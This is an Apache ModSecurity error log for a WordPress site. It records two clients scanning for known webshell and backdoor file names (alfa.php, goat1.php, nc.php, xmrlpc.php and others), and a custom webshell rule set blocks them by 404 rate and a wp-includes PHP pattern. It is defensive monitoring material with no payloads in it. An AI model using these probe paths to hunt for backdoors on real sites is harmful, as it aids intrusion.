[Sun Dec 28 20:12:25.922154 2025] [:error] [pid 29437:tid 29466] [client 4.190.188.171:29768] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/functions.php"] [unique_id "aVEeqRhDotAbVk6pZLfILgAAAcA"]
[Sun Dec 28 20:12:28.236948 2025] [:error] [pid 29436:tid 29443] [client 4.190.188.171:40190] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/functions.php"] [unique_id "aVEerLchzOOtNL9VPNL0xgAAAYQ"]
[Sun Dec 28 20:12:29.412217 2025] [:error] [pid 42292:tid 42311] [client 4.190.188.171:37641] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aVEerZyOrM_vaFx1osZNlwAAAA8"]
[Sun Dec 28 20:12:32.372615 2025] [:error] [pid 29437:tid 29478] [client 4.190.188.171:30556] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aVEesBhDotAbVk6pZLfIPwAAAcw"]
[Sun Dec 28 20:12:35.095398 2025] [:error] [pid 42294:tid 42351] [client 4.190.188.171:37659] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aVEes9TE5kYcYCOzl9HBTQAAAIE"]
[Sun Dec 28 20:12:37.586771 2025] [:error] [pid 29437:tid 29482] [client 4.190.188.171:28239] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goat1.php"] [unique_id "aVEetRhDotAbVk6pZLfIQAAAAdA"]
[Sun Dec 28 20:12:39.787594 2025] [:error] [pid 42293:tid 42329] [client 4.190.188.171:40168] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aVEet8vc9B-5cwN385LrvQAAAEY"]
[Sun Dec 28 20:12:42.066433 2025] [:error] [pid 29388:tid 29412] [client 4.190.188.171:37106] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aVEeutoLv2L2zI_SpdXkvwAAAVA"]
[Sun Dec 28 20:12:43.745564 2025] [:error] [pid 43789:tid 43802] [client 4.190.188.171:29815] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aVEeuwa-tUppni4CcCY3SAAAAQs"]
[Sun Dec 28 20:12:45.623359 2025] [:error] [pid 42293:tid 42337] [client 4.190.188.171:28274] [client 4.190.188.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aVEevcvc9B-5cwN385LrxgAAAE4"]
[Sun Dec 28 21:00:48.868722 2025] [:error] [pid 43789:tid 43796] [client 4.218.19.19:16384] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aVEqAAa-tUppni4CcCZEKAAAAQU"]
[Sun Dec 28 21:00:50.189934 2025] [:error] [pid 29388:tid 29402] [client 4.218.19.19:23311] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aVEqAtoLv2L2zI_SpdXwPgAAAUY"]
[Sun Dec 28 21:00:54.460958 2025] [:error] [pid 42378:tid 42390] [client 4.218.19.19:35767] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aVEqBjgtcN-KHAjWrX8pvAAAAMo"]
[Sun Dec 28 21:00:56.004922 2025] [:error] [pid 42293:tid 42335] [client 4.218.19.19:23320] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aVEqCMvc9B-5cwN385L67gAAAEw"]
[Sun Dec 28 21:00:56.505079 2025] [:error] [pid 42292:tid 42308] [client 4.218.19.19:1051] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVEqCJyOrM_vaFx1osZZDQAAAAw"]
[Sun Dec 28 21:00:58.678385 2025] [:error] [pid 42293:tid 42339] [client 4.218.19.19:1077] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVEqCsvc9B-5cwN385L68QAAAFA"]
[Sun Dec 28 21:01:00.311850 2025] [:error] [pid 42294:tid 42366] [client 4.218.19.19:20000] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVEqDNTE5kYcYCOzl9HMmAAAAJA"]
[Sun Dec 28 21:01:01.237195 2025] [:error] [pid 29388:tid 29413] [client 4.218.19.19:22748] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aVEqDdoLv2L2zI_SpdXwRwAAAVE"]
[Sun Dec 28 21:01:02.528708 2025] [:error] [pid 42292:tid 42311] [client 4.218.19.19:23877] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVEqDpyOrM_vaFx1osZZFAAAAA8"]
[Sun Dec 28 21:01:04.311209 2025] [:error] [pid 42292:tid 42302] [client 4.218.19.19:21391] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVEqEJyOrM_vaFx1osZZFgAAAAY"]
[Sun Dec 28 21:01:08.213779 2025] [:error] [pid 29437:tid 29469] [client 4.218.19.19:23913] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVEqFBhDotAbVk6pZLfVvwAAAcM"]
[Sun Dec 28 21:01:09.194943 2025] [:error] [pid 29437:tid 29478] [client 4.218.19.19:23897] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aVEqFRhDotAbVk6pZLfVwAAAAcw"]
[Sun Dec 28 21:01:12.904294 2025] [:error] [pid 29436:tid 29439] [client 4.218.19.19:21398] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aVEqGLchzOOtNL9VPNIJUAAAAYA"]
[Sun Dec 28 21:01:14.938929 2025] [:error] [pid 42378:tid 42383] [client 4.218.19.19:17706] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aVEqGjgtcN-KHAjWrX8pzQAAAMM"]
[Sun Dec 28 21:01:15.944220 2025] [:error] [pid 42378:tid 42388] [client 4.218.19.19:16510] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aVEqGzgtcN-KHAjWrX8pzwAAAMg"]
[Sun Dec 28 21:01:16.986160 2025] [:error] [pid 29388:tid 29409] [client 4.218.19.19:1680] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aVEqHNoLv2L2zI_SpdXwcgAAAU0"]
[Sun Dec 28 21:01:19.262037 2025] [:error] [pid 29437:tid 29478] [client 4.218.19.19:35668] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVEqHxhDotAbVk6pZLfVzAAAAcw"]
[Sun Dec 28 21:01:21.640511 2025] [:error] [pid 42378:tid 42382] [client 4.218.19.19:35795] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVEqITgtcN-KHAjWrX8p0gAAAMI"]
[Sun Dec 28 21:01:22.750972 2025] [:error] [pid 42378:tid 42397] [client 4.218.19.19:19460] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVEqIjgtcN-KHAjWrX8p1AAAANE"]
[Sun Dec 28 21:01:24.095416 2025] [:error] [pid 42378:tid 42396] [client 4.218.19.19:27266] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aVEqJDgtcN-KHAjWrX8p1gAAANA"]
[Sun Dec 28 21:01:25.037427 2025] [:error] [pid 42293:tid 42336] [client 4.218.19.19:16452] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVEqJcvc9B-5cwN385L7FQAAAE0"]
[Sun Dec 28 21:01:28.647072 2025] [:error] [pid 42294:tid 42372] [client 4.218.19.19:13807] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVEqKNTE5kYcYCOzl9HMxAAAAJY"]
[Sun Dec 28 21:01:29.514059 2025] [:error] [pid 43789:tid 43809] [client 4.218.19.19:19456] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVEqKQa-tUppni4CcCZEQgAAARI"]
[Sun Dec 28 21:01:32.610636 2025] [:error] [pid 29436:tid 29447] [client 4.218.19.19:20086] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aVEqLLchzOOtNL9VPNIJcgAAAYg"]
[Sun Dec 28 21:01:34.104400 2025] [:error] [pid 43789:tid 43811] [client 4.218.19.19:35703] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aVEqLga-tUppni4CcCZERQAAARQ"]
[Sun Dec 28 21:01:36.740248 2025] [:error] [pid 42292:tid 42314] [client 4.218.19.19:27268] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aVEqMJyOrM_vaFx1osZZLQAAABI"]
[Sun Dec 28 21:01:39.394146 2025] [:error] [pid 43789:tid 43799] [client 4.218.19.19:13988] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aVEqMwa-tUppni4CcCZETAAAAQg"]
[Sun Dec 28 21:01:42.839633 2025] [:error] [pid 43789:tid 43797] [client 4.218.19.19:14569] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aVEqNga-tUppni4CcCZEVAAAAQY"]
[Sun Dec 28 21:01:44.172351 2025] [:error] [pid 42293:tid 42336] [client 4.218.19.19:24394] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aVEqOMvc9B-5cwN385L7NwAAAE0"]
[Sun Dec 28 21:01:45.264343 2025] [:error] [pid 29436:tid 29459] [client 4.218.19.19:14581] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aVEqObchzOOtNL9VPNIJkQAAAZQ"]
[Sun Dec 28 21:01:52.829898 2025] [:error] [pid 29436:tid 29463] [client 4.218.19.19:13710] [client 4.218.19.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aVEqQLchzOOtNL9VPNIJswAAAZg"]
[Sun Dec 28 21:01:57.938591 2025] [:error] [pid 42292:tid 42318] [client 4.218.19.19:24432] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVEqRZyOrM_vaFx1osZZUAAAABY"]
[Sun Dec 28 21:02:00.810587 2025] [:error] [pid 43789:tid 43795] [client 4.218.19.19:1923] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVEqSAa-tUppni4CcCZEewAAAQQ"]
[Sun Dec 28 21:02:01.721994 2025] [:error] [pid 42292:tid 42312] [client 4.218.19.19:22555] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVEqSZyOrM_vaFx1osZZVwAAABA"]
[Sun Dec 28 21:02:02.961962 2025] [:error] [pid 42294:tid 42350] [client 4.218.19.19:19544] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aVEqStTE5kYcYCOzl9HM2QAAAIA"]
[Sun Dec 28 21:02:05.589495 2025] [:error] [pid 29388:tid 29409] [client 4.218.19.19:16155] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aVEqTdoLv2L2zI_SpdXwxgAAAU0"]
[Sun Dec 28 21:02:07.120853 2025] [:error] [pid 42378:tid 42383] [client 4.218.19.19:19825] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aVEqTzgtcN-KHAjWrX8qGQAAAMM"]
[Sun Dec 28 21:02:08.043634 2025] [:error] [pid 29437:tid 29487] [client 4.218.19.19:16138] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aVEqUBhDotAbVk6pZLfWNwAAAdU"]
[Sun Dec 28 21:02:09.004727 2025] [:error] [pid 29436:tid 29454] [client 4.218.19.19:19833] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/db.php"] [unique_id "aVEqUbchzOOtNL9VPNIJxAAAAY8"]
[Sun Dec 28 21:02:10.262074 2025] [:error] [pid 29437:tid 29485] [client 4.218.19.19:19816] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aVEqUhhDotAbVk6pZLfWPwAAAdM"]
[Sun Dec 28 21:02:11.495906 2025] [:error] [pid 42293:tid 42323] [client 4.218.19.19:22579] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aVEqU8vc9B-5cwN385L7wwAAAEA"]
[Sun Dec 28 21:02:14.169485 2025] [:error] [pid 43789:tid 43794] [client 4.218.19.19:35066] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aVEqVga-tUppni4CcCZEigAAAQM"]
[Sun Dec 28 21:02:15.474795 2025] [:error] [pid 43789:tid 43803] [client 4.218.19.19:21581] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aVEqVwa-tUppni4CcCZEiwAAAQw"]
[Sun Dec 28 21:02:18.203307 2025] [:error] [pid 42294:tid 42354] [client 4.218.19.19:22813] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aVEqWtTE5kYcYCOzl9HM5AAAAIQ"]
[Sun Dec 28 21:02:20.731012 2025] [:error] [pid 42294:tid 42369] [client 4.218.19.19:15934] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aVEqXNTE5kYcYCOzl9HM6gAAAJM"]
